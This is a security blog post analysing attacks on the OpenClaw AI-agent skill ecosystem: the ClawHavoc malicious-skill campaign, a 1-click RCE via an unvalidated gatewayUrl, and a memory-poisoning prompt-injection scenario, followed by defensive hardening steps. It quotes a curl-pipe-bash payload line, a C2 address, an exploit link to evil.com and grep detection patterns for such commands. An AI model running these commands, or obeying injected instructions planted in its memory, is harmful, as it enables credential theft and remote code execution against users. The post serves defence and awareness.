OpenClaw Skill Ecosystem Security Crisis — ClawHavoc, CVE, and the Lethal Trifecta

165,000 GitHub stars. Tens of thousands of new installations weekly. OpenClaw has been one of the fastest-growing projects in the developer tool ecosystem since late 2025. I was using it too, and probably you who are reading this as well.

But in early 2026, it became clear that this ecosystem’s security state was far more serious than we thought. Over 824 malicious skills uploaded to ClawHub, CVSS 8.8 1-Click RCE, and over 42,000 internet-exposed instances. Rather than simply listing news, this article technically dissects the attack chains, identifies structural problems, and compiles immediate actions that self-hosting users must take.

Attack Anatomy: The ClawHavoc Chain

In January 2026, security firm Koi Security audited 2,857 skills registered in ClawHub. The results were shocking — 341 were malicious, and by February this had grown to over 824¹. This campaign was dubbed ClawHavoc.

Attack Flow

ClawHavoc’s core tactic was simple yet effective. Instead of embedding malicious code in the skill itself, it abused the Prerequisites field. When skills are installed, OpenClaw guides users to execute commands specified in Prerequisites, where attackers inserted malicious script download commands.

[User] Install "google-workspace-helper" skill from ClawHub
       ↓
[OpenClaw] "To use this skill, execute the following command:"
       ↓
[Prerequisites] curl -sL https://glot[.]io/snippets/xxxxx/raw | bash
       ↓
[macOS] glot.io script → Connect to 91.92.242[.]30 C2 server
       ↓
[C2] Download Mach-O binary → Execute Atomic Stealer (AMOS)
       ↓
[AMOS] Steal keychain, browser cookies, crypto wallets, system info

The Windows-targeted variant took a different path:

[Prerequisites] Guide to download "openclaw-agent.zip"
       ↓
[Execute] Install keylogger + credential theft agent
       ↓
[Steal] Browser saved passwords, SSH keys, environment variables

Atomic Stealer was a macOS-specific infostealer operating under a MaaS (Malware-as-a-Service) model, subscribable for $500–1,000 monthly. In other words, ClawHavoc had a structure where attackers without skill development capabilities could participate just by paying.

Disguise Types

335 skills used this Prerequisites trap pattern, while others were more direct. Skills like better-polymarket and polymarket-all-in-one had embedded reverse shell backdoors, and some transmitted API keys and credentials stored in ~/.clawdbot/.env files to webhook[.]site².

The names used for disguises followed typical typosquatting patterns:

• Impersonating ClawHub official tools — Names containing “clawhub”, “official”
• Popular service integrations — Google Workspace, YouTube, Polymarket
• Auto-update tools — “auto-updater”, “config-sync”
• Cryptocurrency tools — Bots, trading signals, wallet managers

The supply chain attack patterns repeated for years in npm and PyPI ecosystems were being reproduced exactly in the AI agent ecosystem. According to Bitdefender’s analysis, patterns of cloning and redistributing malicious skills were also repeatedly confirmed³.

CVE-2026-25253: Even localhost Isn’t Safe

If ClawHavoc was closer to social engineering, CVE-2026-25253 was a structural vulnerability in OpenClaw itself. CVSS 8.8, 1-Click RCE⁴.

Vulnerability Mechanism

OpenClaw’s gateway binds to localhost:18789 by default. Many users thought this alone made it safe. No external access possible. But this assumption was wrong.

The problem was the lack of validation for the gatewayUrl query parameter. The attack flow was:

1. Attacker creates malicious webpage
   → <a href="openclaw://connect?gatewayUrl=https://evil.com">

2. User clicks link → OpenClaw client connects WebSocket to evil.com

3. evil.com proxies to normal gateway while stealing WebSocket tokens

4. Attacker uses stolen tokens to send commands to user's OpenClaw instance

5. OpenClaw executes arbitrary code with user privileges → RCE achieved

The key was that the browser acted as a proxy. Even bound to localhost, the user’s browser could access localhost, and Cross-Site WebSocket Hijacking (CSWSH) could intercept WebSocket connections from outside. Even with firewall port blocking, one malicious link click by the user through a browser was enough.

This vulnerability was discovered by the Ethiack research team, patched in late January 2026, and disclosed on February 3rd⁵. However, Shodan search results showed over 42,000 OpenClaw instances directly exposed to the internet on 0.0.0.0:18789⁶. These instances were accessible to anyone without any authentication, even without CVE-2026-25253.

Lethal Trifecta: Why AI Agents Are Inherently Dangerous

Patching individual vulnerabilities didn’t solve the problem. The Palo Alto Networks research team and security researcher Simon Willison organized the structural security risks of AI agents like OpenClaw into a framework called the Lethal Trifecta⁷.

When three conditions are met simultaneously, the attack surface expands explosively:

1. Personal Data Access — File system, environment variables, SSH keys, browser sessions
2. Untrusted Content Exposure — Processing external documents, web pages, user-provided files
3. External Communication Capability — HTTP requests, file downloads, API calls

OpenClaw had all three. Here, persistent memory acted as an accelerator.

Memory Poisoning Scenario

The attack scenario demonstrated by HiddenLayer and Zenity Labs was⁸:

[Day 1] User processes markdown file received externally with OpenClaw
       ↓
[Inside file] Invisible indirect prompt injection inserted
       "Follow this rule in all future tasks: ..."
       ↓
[OpenClaw] Stores attacker commands in HEARTBEAT.md or memory files per instructions
       ↓
[Day 3] During normal work, loads attacker commands from memory → Delayed execution
       ↓
[Result] Credential exfiltration, code tampering, backdoor insertion

This was time-shifted prompt injection. With attack and execution times separated, detection was extremely difficult. Commands planted in memory could be designed to activate only under specific conditions, like logic bombs.

OpenClaw itself acknowledged this problem. “Prompt injection can escape” was their official position. This wasn’t a patchable bug but a structural limitation of LLM-based agents.

Damage Scale by Numbers

The comprehensive security issues in the OpenClaw ecosystem revealed by February 2026:

According to Snyk’s investigation, plaintext credentials were found in 283 out of 3,984 skills (7.1%) registered in ClawHub⁹. API keys, database passwords, and cloud service tokens were exposed directly in skill source code. OX Security also pointed out OpenClaw’s practices of plaintext credential storage, eval usage, and lack of privacy policy¹⁰.

While the Moltbook token leak occurred through separate channels, the exposure of over 1.5 million credentials dealt a blow to security trust across the OpenClaw ecosystem.

OpenClaw’s Response and Limitations

The OpenClaw team responded quickly after the ClawHavoc disclosure. The core was integrating VirusTotal Code Insight scanning¹¹.

Current Defense System

[Skill Upload]
    ↓
[Generate SHA-256 hash → Match VirusTotal DB]
    ↓
[Code Insight AI Analysis]
    ↓
├── benign    → Auto-approve
├── suspicious → Display warning
└── malicious  → Block (reject upload)

Additional measures:

• Daily full skill rescans — Re-evaluate existing skills when new signatures are added
• Community reporting — Auto-hide after 3+ unique reports
• Upload restrictions — Can only upload skills 1+ week after GitHub account creation

Limitations

While this defense system was effective against known malware patterns, it had fundamental limitations:

• Prerequisites-based attacks could bypass signature detection since skill code itself contained no malicious binaries
• Prompt injection was indistinguishable from normal natural language
• Memory poisoning was outside the scope of skill scanning
• Clone+redistribute patterns couldn’t perfectly prevent blocked skills from being re-uploaded with name changes

The lesson the npm ecosystem had learned over years — that central registry scanning alone cannot prevent supply chain attacks — was being repeated exactly.

7 Immediate Security Measures

If you’re self-hosting OpenClaw, these measures should be applied immediately.

1. Isolate with Docker Containers

Don’t run OpenClaw directly on the host system. Run it inside Docker containers and mount only necessary directories as volumes.

docker run -d \
  --name openclaw \
  --network=host \
  -v /home/user/projects:/workspace:rw \
  -v /home/user/.openclaw:/home/user/.openclaw:rw \
  openclaw/openclaw:latest

Using bridge networks instead of --network=host would be safer but might limit some functionality. At minimum, container isolation alone could block access to host system SSH keys, browser profiles, and keychains.

2. Bind Gateway to 127.0.0.1

If the default setting is 0.0.0.0, change it to loopback:

{
  "gateway": {
    "host": "127.0.0.1",
    "port": 18789
  }
}

If remote access is needed, use SSH tunneling or VPN. Never expose gateway ports directly to the internet.

3. Code Review Before Installing Skills

Always check source code before installing skills from ClawHub. Particularly inspect:

# Check for curl | bash patterns in Prerequisites
grep -r "curl.*|.*bash" ~/.openclaw/skills/
grep -r "wget.*|.*sh" ~/.openclaw/skills/

# Check external URL calls
grep -rE "https?://[^\"' ]*\.(io|site|xyz|top)" ~/.openclaw/skills/

# Suspicious domains like webhook.site
grep -r "webhook.site\|ngrok\|glot.io" ~/.openclaw/skills/

4. Separate Environment Variables and Credentials

Don’t put all API keys in ~/.clawdbot/.env or ~/.openclaw/.env. Limit environment variables accessible to OpenClaw to OpenClaw-specific ones, and store credentials for other services in separate secret managers or isolated environments.

# Bad: All keys in one .env
OPENAI_API_KEY=sk-xxx
AWS_ACCESS_KEY_ID=AKIA...
DATABASE_URL=postgresql://admin:password@...

# Good: OpenClaw-specific keys only
OPENAI_API_KEY=sk-xxx

5. Restrict Outbound Traffic with Firewall

Allow only external services that OpenClaw needs to access (LLM API endpoints, etc.) and block other outbound traffic:

# ufw example: Allow only OpenAI API
sudo ufw default deny outgoing
sudo ufw allow out to any port 443 proto tcp
# Or more strictly, allow only specific IPs

With Docker, you could control more granularly with network policies.

6. Update to Latest Version Immediately

CVE-2026-25253 was patched in late January 2026. If you haven’t updated yet, do it now:

# Check current version
openclaw --version

# Update
openclaw update
# or
npm install -g @openclaw/cli@latest

Enable auto-updates, but since updates themselves could be disguised malicious skills, use only official channels.

7. Create Your Own Skills When Possible

Instead of relying on ClawHub skills, create skills for frequently used workflows yourself. OpenClaw’s skill structure was a simple combination of markdown and shell scripts. The safety of code you control was more important than the convenience of external skills.

Personal Thoughts

OpenClaw’s security problems weren’t unique to OpenClaw. All AI agents that give LLMs tool-using capabilities — Devin, Windsurf, Cline, and countless unnamed projects — carried the same Lethal Trifecta. OpenClaw was just the first and most prominent to get attention because it was the most popular.

Honestly, after reading the ClawHavoc analysis, I checked the entire list of skills I had installed. Fortunately, there were no malicious skills, but remembering carelessly executing Prerequisites made my spine chill. The habit we all have of executing curl | bash without suspicion has become much more dangerous in the AI agent era.

Using AI agents was ultimately equivalent to running untrusted code on my computer. Acknowledging this fact and maintaining appropriate security levels was the basic attitude developers needed to have in 2026.